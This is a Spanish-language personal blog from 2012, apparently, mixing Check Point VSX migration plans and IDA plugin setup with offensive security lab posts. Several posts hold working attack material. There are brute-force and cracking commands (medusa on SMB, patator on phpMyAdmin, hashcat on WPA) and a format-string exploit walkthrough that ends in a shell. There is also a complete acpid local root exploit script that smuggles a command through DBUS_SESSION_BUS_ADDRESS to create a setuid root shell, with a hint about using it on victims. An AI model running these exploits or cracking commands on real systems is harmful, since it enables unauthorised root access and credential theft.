- La instalación de imperva se encuentra sobre un chassis Crossbeam corriendo XOS 9.5.2.
- La versión de nuestro imperva es la SecureSphere Gateway 8.0.0.
- Solo funciona en modo pasivo(sniffing).
- No se realiza ninguna operación de bloqueo en el tráfico.
- No se hace ninguna serialización de trafico en el chasis de crossbeam.
miércoles, 5 de septiembre de 2012
Alto uso de CPU por disco duro en Imperva
domingo, 2 de septiembre de 2012
How to migrate SMART Center Server running vsx to Provider-1
This lab is focused to shows the steps followed during a cut over to migrate a SMART Center Server to a new infrastructure running P1.
The lab utilized is:
- Two Crossbeam Chassis running XOS 9.5.2
- A vsx cluster running in four apms using VSX R65 hfa20.
- The two chassis running in VRRP.
- Looking for a schema were the impact to the network were the less possible.
- Obtain a photo from the affected chassis using "show tech-support".
- Obtain a license backup installed in the environment using SMART Update.
- Obtain a cpinfo from all the virtual firewall just in case if we have to open a case with checkpoint.
- Have a backup from the latest firewalls policies.
- Verify that all the licenses related with the P1 are correct.
- Obtain the latest local.arp file.
- Obtain the latest version for the /var/opt/fw.boot/modules/fwkern.conf and /etc/ppk.boot/boot/modules/simkern.conf files.
- Have migrated all the firewalls policies to P1.
- Installs the corresponding license to the P1 and the CMA.
- Obtain the routing table for every virtual firewall (sometimes after a chassis reboot these routes gets lost is a bug related with the XOS).
- Obtain a backup for the vap-group related to the vsx.
- In the backup chassis in every apm related with the vap-group we have to use the command "reset_gw" and this command brings to a initial state every vsx gateway.
- Using our P1 we have to take the necessary context related with our CMA using mdsenv
- We need to close all the dashboard instances to avoid any problem during the reconfiguration.
- Using vsx_util we have to reconfigure every apm related with the cluster.
- After the execution of the vsx_util we had to fill all the info related to the firewall, for example: "Enter VSX gateway/member object name to reconfigure:"
- We need to use the name of the object related with the cluster if you need to find this info use the dashboard in the cluster section.
- In this case the name of the object was: FW-VSX_Test_fw1.
- Once obtained a message similar to this, we have to reboot every apm affected using the command reboot or "reload vap-group
" - If for some reason the vsx_util doesn't work, you'll have to do some troubleshooting or call chackpoint in my case the troubleshooting was enough.
- Once the vap-group goes to active. We can observe it using “show ap-vap-mapping”.
- We can use our newer P1 SMART Dashboard in write mode and in every vsx cluster object we need to press ok in that screen to regenerate every virtual firewall.
- After this step is necessary remove the old licenses related with this vsx cluster using the SMART update in Provider-1
- After remove the old licenses we can continue adding the new licenses files.
- Using vim we have to regenerate the local.arp files in every apm affected by the reset_gw, in other words the backup chassis, the other one must be handling the traffic.
- We can proceed to install the rulebase in every virtual instance, don't forget remove the option "for gateway cluster..."
- After the policie installation we need to check the routes and compare to look if something have change. If something was changed, is necesary to do troubleshooting.
- Verify that arp entries in the local.arp file are working using fw ctl -vs vsid arp
- A very important point is compare the files /var/opt/fw.boot/modules/fwkern.conf y /etc/ppk.boot/boot/modules/simkern.conf, with the files taken before the cutover if something changes we have keep the original configuration.
- After all of this we can switch the traffic to this box using vrrp-relinquish-master.
- Using smartview tracker we can verify that the traffic is flowing.
- We can continue following all of this steps for the other chassis.
Plan de migración de SMART Center a Provider-1
- Doschasis Crossbeam corriendo XOS 9.5.2
- Uncluster con 4 apms corriendo VSX R65 HFA_20
- Losdos chasis en VRRP
- Unesquema donde no se tenga impacto en la red, afectando primero el chasis debackup y mediante vrrp probar una vez que se migro a P1 que todo trabajecorrectamente.
- Obtenerla foto de los chasis afectados mediante un “show tech-support”.
- Obteneruna copia de las licencias cargadas en el ambiente, usando el SMART Update.
- Obtenerun cpinfo de toda la plataforma, para tener una foto del ambiente por si senecesita abrir un caso con Checkpoint.
- Tenerla versión de las políticas firewall más recientes.
- Verificaren el P1 que las licencias que se tienen son correctas.
- Obtenerla última versión del archivo local.arp de todos los firewalls.
- Tenerla última versión de cada APM de los archivos /var/opt/fw.boot/modules/fwkern.confy /etc/ppk.boot/boot/modules/simkern.conf
- Tenermigradas las políticas al Provider-1 antes de la ventana de mantenimiento.
- Instalarla licencia correspondiente al P1 y al CMA a utilizar.
- Obtenerla tabla de ruteo de los firewalls virtuales (Hay veces que al reiniciar loschasis estas se pierden esto es un bug del XOS).
- Obtenerdel vap-group un backup mediante archive-vap-group.
- Nuevamenteen el chasis del backup en cada apm relacionada con el vap-group, usaremos elcomando reset_gw y regresamos nuestro VSX Gateway a un estado inicial, con estoperderemos comunicación con el SMART Center.
- Entramosa nuestro Provider-1 dentro de la CMA creada para contener a esta consolausando el comando mdsenv
. - Cerramostodas las instancias de SMART Dashboard.
- Usamosla herramienta vsx_util reconfigure, para re configurar las apms.
- Llenamoslos datos usando la cuenta que administra esta consola por ejemplo un usuariofwadmin.
- Unavez que nos pregunte lo siguiente: “EnterVSX gateway/member object name to reconfigure:"
- Ponemosel nombre del objeto a configurar, en este caso lo podemos obtener en eldashboard en las propiedades del cluster.
- Enmi caso el objeto referenciando al clúster de VSX es el siguiente:FW-VSX_Test_fw1.
- Unavez que obtenemos un mensaje como este podemos reiniciar la apm mediante elcomando reboot o usando el comando “reload vap-group
”. - Sipor algún motivo no funciono el reconfigure, pues tendrás que hacertroubleshooting o hablar a Checkpoint, en mi caso con el troubleshooting fuesuficiente.
- Unavez que el vap-group vaya a Active usando, observamos a este vap-group medianteel comando “show ap-vap-mapping.
- Entramosa nuestra nueva consola mediante el dashboard en modo escritura y en cadaobjeto relacionado al cluster de VSX presionamos el botón de OK, para que lasconfiguraciones del VFW, sean enviadas a las instancias de VSX correspondiente.
- Removemoslas viejas licencias debido a que nuestra CMA cuenta con una dirección ipdiferente al SMART Center Server.
- Instalamoslas nuevas licencias regeneradas con la nueva ip.
- Generamosnuevamente nuestro archivo local.arp por cada instancia de firewall virtual, sies que usamos este archivo.
- Unavez hecho esto podemos instalar políticas en nuestros firewalls virtualesusando la consola de P1, no olvidemos deshabilitar la siguiente opción.
- Despuesde la instalación, verificamos que las rutas sigan igual en cada contexto, solopor si acaso si algo cambio es necesario hacer troubleshooting por el bugcomentado arriba.
- Verificarque el arp se esté propagando mediante “fw ctl –vs vsid arp”.
- Unpunto muy importante es verificar que los archivos /var/opt/fw.boot/modules/fwkern.conf y /etc/ppk.boot/boot/modules/simkern.conf,tengan el mismo contenido que antes de hacer la ventana, si no es así esnecesario ajustarlos y reiniciar nuevamente el vap-group.
- Switcheamosel tráfico a este chasis administrado por el equipo P1 mediante un “vrrp-relinquish-master”,si queremos que este comando funcione correctamente es necesario tener elchasis 100% saludable en la configuración de VRRP.
- Usandoel SMART View tracker verificamos que el tráfico nuevo fluya sobre este chasis.
- Realizamosel mismo set de operaciones en el otro equipo.
miércoles, 15 de agosto de 2012
Como regenerar firewalls virtuales en VSX R65
Como instalar el plugin de Python para IDA 6.x
- Descargar la version 2.7 de python del sitio oficial.
- Instalar python.
- Mover la variable de ambiente de nuestro Windows dejandola de la siguiente forma:
- Descargamos de https://code.google.com/p/idapython/ el plugin para ida.
- Siguiendo el readme.
- Copiamos del archivo zip la carpeta python a la carpeta del IDA, ejem: C:\ida61\python <- así debería quedar, si ya tienes este plugin sobre escríbelo con la nueva versión.
- Dentro del zip en la carpeta plugins copiamos al path de ida los dos archivos, ejem: C:\ida61\plugins\python.p64 y C:\ida61\plugins\python.plw.
- Ahora copiamos del zip el archivo de configuración del plugin, ejem: C:\ida61\cfg\python.cfg
- Con estos sencillos pasos podrás usar este fabuloso plugin en IDA.
viernes, 27 de julio de 2012
Comandos utiles
for i in $( seq 10 ); do arping -c 3 192.168.1.$i ; done
Crack SMB password
medusa -M smbnt -h 192.168.213.137 -u CarlosVM -P ../wordlists/ESP/es.dic -f -m GROUP:LOCAL -m PASS:HAS
IDA
StartDebugger("/home/carlos/.../bin/seaman", "-d /dev/null AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x07\x40\x00", "")
Tcpdump
tcpdump -eeennni enex.18 vlan and vlan 18 and host 192.168.15.121
nbtscan -r 192.168.192.0/24
Tcpdump regex para encontrar ips con puertos especificos
File Example
10:56:30.671226 IP 150.100.246.205.39239 > 150.100.246.161.1521: P 1:26(25) ack 66 win 50137
10:56:30.672038 IP 150.100.246.161.1521 > 150.100.246.205.39239: . 66:1514(1448) ack 26 win 49232
10:56:30.672038 IP 150.100.246.161.1521 > 150.100.246.205.39239: P 1514:2077(563) ack 26 win 49232
10:56:30.672040 IP 150.100.246.161.1521 > 150.100.246.205.39239: P 2077:3359(1282) ack 26 win 49232
10:56:30.672386 IP 150.100.246.205.39239 > 150.100.246.161.1521: . ack 3359 win 50137
10:56:30.672453 IP 150.100.246.161.1521 > 150.100.151.15.54173: P 2027976638:2027976646(8) ack 2412714148 win 49640
10:56:30.672565 IP 150.100.151.15.54173 > 150.100.246.161.1521: . ack 8 win 49640
10:56:30.672664 IP 150.100.151.15.54173 > 150.100.246.161.1521: P 1:173(172) ack 8 win 49640
grep -Eo '(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).((1521|1523|1525|1526))'
Localizar una conexion del fwaccel de checkpoint
fwaccel -vs 1 conns
Con esta expresion regular encontramos el puerto que queremos verificar.
((?:\d{1,3}\.){3}).\d\s*443
hashcat
D:\CARLOS DIAZ\SOFTWARE\HACKING\password cracking\oclHashcat-plus-0.1
3>cudaHashcat-plus64.exe -m 2500 -a 3 -o ..\Operaciones\infinitum --outfile-form
at=3 -1 012345678abcdef --gpu-accel=16 --gpu-loops=2048 --session=infi --gpu-tem
p-abort=85 -i --increment-min=8 --increment-max=10 ..\Operaciones\8955_13638025
83.hccap ?1?1?1?1?1?1?1?1
Expresión regular para limpiar del siguiente archivo solo los nombres de los equipos:
https://sites.google.com/site/mycadgo/scripts/equipos_raw.txt
cat equipos_raw.txt | sed -r 's/((\(([0-9]+\.)\)*)|([0-9]+\.)|([0-9A-Za-z ]+\/[0-9]*)|[0-9]+\,[0-9+])//g'| sed -r 's/[ \t]*//'| less
Patator
Romper la autenticación basica de phpmyadmin
./patator.py http_fuzz url=http://192.168.48.129/phpmyadmin/ user_pass=root:FILE0 0=passwords.txt accept_cookie=1 auth_type=basic -x quit:code=200 persistent=1 -l tmp
jueves, 26 de julio de 2012
Migrar R65 con VSX a Provider-1 R71
- La consola original que contenía las políticas estaba en R65 con el plugin de VSX.
- Este set de políticas iban destinadas a un Provider-1, corriendo R71.40.
- Importe las políticas a una VM corriendo R65 HFA 70 y después hice el upgrade a R70. mediante ISO.
- Esta misma VM la subí nuevamente de R70 a R71.10. y exporte las políticas.
martes, 29 de mayo de 2012
domingo, 26 de febrero de 2012
Fromat String Overflow, Un poco de ejercicio para no oxidarse
- Tener cualquier sistema linux disponible, en este caso lo haré en un backtrack instalado.
- Desactivar el ASLR de Linux, no pondré como hacerlo con el ASLR, por que aun ando en eso.
- Tener los compiladores de GCC.
#include#include int main(int argc, char **argv){ int i = 1; char buffer[64]; snprintf(buffer, sizeof buffer, argv[1]); buffer[sizeof (buffer) - 1] = 0; printf("Change i's value from 1 -> 500. "); if(i==500){ printf("GOOD\n"); seteuid(1007); system("/bin/sh"); } printf("No way...let me give you a hint!\n"); printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); printf ("i = %d (%p)\n", i, &i); return 0; }
- Compilamos nuestra aplicación.
- Cambiamos los permisos de la aplicación para que valga la pena esto.
- Ahora bien ejecutemos un par de veces el binario que nos ha quedado.
- Ahora bien como podemos ver debido a que el ASLR esta activado, la variable i siempre cambia de posición en memoria y como había mencionado no he hecho aun este ejercicio usando ASLR.
- Desactivemos el ASLR.
- Ahora ejecutemos nuevamente el programa.carlos@bt:~/hack/narnia/tmp$ for i in $(seq 1 3); do ./n6 AAAA; done | grep "i ="
- Ahora si esta todo bajo control, la memoria de la variable se mantiene tras varias ejecuciones.
- Ahora investiguemos que sucede en el ejecutable, veamos como abusaremos un poco del código fuente.
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
- Veamos que sucede cuando ejecutamos de la siguiente manera el binario:
- Carajo, ahora estamos debugueando la memoria del programa, pero como funciona esto , debido a que printf, usa como argento la posición en memoria de la cadena que pasamos y como no valida la entrada de impresion, podemos imprimir las posiciones en memoria relacionadas a la entrada.
- Pero veamos pongamos una marca como referencia.
- Uff, ahora bien ya encontramos en que posición de memoria printf esta buscando la cadena, de la siguiente manera AAA es igual a 41414141, según la tabla ascii. http://ascii.cl/es/
- Pero como podemos llegar a la posición 5 de esta memoria, pues fácilmente usando el operado $, en el printf.
The arguments must correspond properly (after type
promotion) with the conversion specifier.
By default, the arguments are used in theorder
given, where each '*' and each conversion specifier
asks for the next argument (and it is an error if
insufficiently many arguments are given). One can
also specify explicitly which argument is taken, at
each place where an argument is required, by
writing "%m$" instead of '%' and "*m$"
instead of '*', where the decimal integer m denotes
the position in the argument
list of the desired argument, indexed starting from 1. Thus, printf("%*d", width, num); and printf("%2$*1$d", width, num);
- Veamos como
- Ahora bien llegamos a la posición 5 de memoria del printf, que es donde empieza la impresión.
- Pero bueno la intención es editar la posición de memoria donde se encuentra la variable i (0xbffff6fc).
- Pues vamos a decirle a printf que lo haga por nosotros solo ya que el primer parámetro de printf, es la posición en memoria donde se encuentra la cada, lo haremos de la siguiente forma, como observamos el primer parametro en la posición en memoria de i y hacemos un dump de su contenido como se ve en “buffer: bffff6fc”.
- Recuerden hay que invertir los valores de la memoria, por el endia de nuestro procesador i386.
carlos@bt:~/hack/narnia$ ./n6 $(printf "\xfc\xf6\xff\xbf")%5\$x Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [����bffff6fc] (12) i = 1 (0xbffff6fc)
- Pero como podemos editar la variable, ya llegamos a ella usando printf pero como podemos editar el valor de i, pues veamos nuevamente que dice el man page de printf.
- Pues fácilmente usaremos en printf con el “conversion specifier” n, el cual escribe la cantidad de caracteres hasta entonces escritos por printf, veamos que sucede.
./n6 $(printf "\xfc\xf6\xff\xbf")%5\$n Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [����] (4) i = 4 (0xbffff6fc)
- Ahora bien que carajos logramos escribir algo en la variable i, como se observa en la parte anterior.
i = 4 (0xbffff6fc)
- Pues necesitamos incrementar el valor por lo menos en 496, como 500 – 4 = 496, pero como pues incrementarlo en antes de la escribirlo con el specifier %n, de la siguiente manera %496x%5\$n
- Veamos ahora que sucede.
carlos@bt:~/hack/narnia$ ./n6 $(printf "\xfc\xf6\xff\xbf")%496x%5\$n Change i's value from 1 -> 500. GOOD sh-4.1$
- Con esto editamos el valor de la variable i y entramos el if que nos ejecuta el system, que nos da una shell, espero les sirva este ejercicio como a mi para practicar algo que no hago seguido y se tiende a olvidar.
domingo, 12 de febrero de 2012
Man in the Middle para SSH2.
- · Un equipo Windows como víctima (ip 192.168.45.129.)
- · Un equipo Linux como servidor de ssh (ip 192.168.45.128).
- · Un equipo con Backtrack 5 como atacante o cualquier equipo que tenga instalado ettercap (me fascina esta herramienta ip 192.168.45.130).
- · Haber descargado kippo (http://code.google.com/p/kippo/) y probar que este corriendo en nuestro equipo atacante.
- Para empezar a ejecutar kippo necesitamos estar con un usuario que no sea root.
2. Una vez que se encuentre corriendo tendremos el puerto 2222 abierto en nuestro sistema, este es el honeypot de kippo.
11. Cada vez que intente logearse no podrá hacerlo ya que sus credenciales son diferentes en el honeypot, pero es muy común equivocarse de password cuando intentamos acceder por ssh, lo cual complica que consideremos que estamos siendo atacados.
12. Ahora solo queda observar el log del kippo.
viernes, 3 de febrero de 2012
Acpid 1:2.0.10 escalación de privilegios en Ubuntu 11.10
Básicamente pues explicare un poco de cómo trabaja esta vulnerabilidad y como explotarla, para esto pues he montado un laboratorio con las siguientes características:
- Un kubutu 11.10, sin ninguna actualización de seguridad.
- Una cuenta de usuarios normal sin sudo.
- Cambiar contraseñas de root y habilitar la entrada por KDE4 (solo para el demo, esto no viene configurado por defecto en Ubuntu).
4. Entrar por escritorio con cuenta de root
Exploit:
PAYLOADEXE="/var/crash/payload"
PAYLOADC="/var/crash/payload.c"
KDEDC="kded4.c"
KDEDEXE="kded4"
TRIGGER="/etc/acpi/powerbtn.sh"
rm -f $PAYLOADEXE $KDEDEXE $KDEDC $PAYLOADC
echo "[+] Setting umask to 0 so we have world writable files."
umask 0
echo "[+] Preparing binary payload."
# we _try_ to get a suid root shell, if not we only get a
# shell for another user
cat > $PAYLOADC <<_EOF
#include
void main(int argc, char **argv)
{
if(!strstr(argv[0],"shell")){
printf("[+] Preparing suid shell.\n");
system("cp /var/crash/payload /var/crash/shell");
setuid(0);
setgid(0);
chown ("/var/crash/shell", 0, 0);
chmod("/var/crash/shell", S_IRWXU | S_IRWXG | S_IRWXO | S_ISUID | S_ISGID);
}else{
execl("/bin/sh", "/bin/sh", "-i", 0);
}
}
_EOF
gcc -w -o $PAYLOADEXE $PAYLOADC
echo "[+] Preparing fake kded4 process."
cat > $KDEDC <<_EOF
#include
void main (){
while(42){
sleep(1);
if( access( "/var/crash/shell" , F_OK ) != -1 ) {
execl("/var/crash/shell", "/var/crash/shell", "-i", 0);
exit(0);
}
}
}
_EOF
gcc -w -o $KDEDEXE $KDEDC
rm -f $KDEDC $PAYLOADC
echo "[+] Exporting DBUS_SESSION_BUS_ADDRESS."
export DBUS_SESSION_BUS_ADDRESS="xxxx & $PAYLOADEXE"
echo "[+] Starting kded4."
echo "[+] Trying to PMS the system."
echo "[+] Waiting for the power button to be pressed."
echo "[+] You'll get a shell on this console."
./$KDEDEXE
rm $KDEDEXE
El siguiente exploit se aprovecha del script /etc/acpi/powerbtn.sh el cual es ejecutado cuando se presiona el botón de apagado de la siguiente manera, debido a que a que la variable DBUS_SESSION_BUS_ADDRESS puede ser controlada por cualquier usuario, esto hace propenso al siguiente código a ejecutar código malicioso.
test "$XUSER" != "" && test -x /usr/bin/qdbus && test -r /proc/$(pidof kded4)/environ && su - $XUSER -c "eval $(echo -n 'export '; cat /proc/$(pidof kded4)/environ |tr '\0' '\n'|grep DBUS_SESSION_BUS_ADDRESS); qdbus org.kde.kded" | grep -q powerdevil) ;
Veamos como:
- Debido a que es necesario que solo exista un proceso de kded4, en el sistema y este sea controlado por nosotros, tendremos matarlo del sistema.
a. Para efectos de este lab lo haremos con sudo kill kded4 el que ejecute este exploit en una víctima tiene que buscarse como hacer ;).
b. Creando nuestro proceso KDED es ejecutado el cat /proc/$(pidof kded4)/environ entrara al proceso que genera este exploit.
- Una vez haciendo esto el exploit se encarga de generar un ejecutable llamado kded4 y con el PAYLOAD logar hacer que se ejecute de la siguiente manera:
b. Copia el ejecutable llamado payload por uno llamado Shell, el cual mediante un strstr decide si ejecutar la Shell, con las propiedades creadas.
3. Ahora bien cómo funciona esto:
a. Al ejecutar el exploit este exporta la variable DBUS_SESSION_BUS_ADDRESS de la siguiente manera:
DBUS_SESSION_BUS_ADDRESS=xxxx & $PAYLOADEXE
b. Mandara el comando “xxxx” al segundo plano y ejecutara el contenido de $PAYLOAD.
c. Una vez hecho esto, se necesita ejecutar el script /etc/acpi/powerbtn.sh, presionando el botón de apagar en el sistema.
d. Hecho esto debe aparecer una nueva bash con propiedades de suid de root.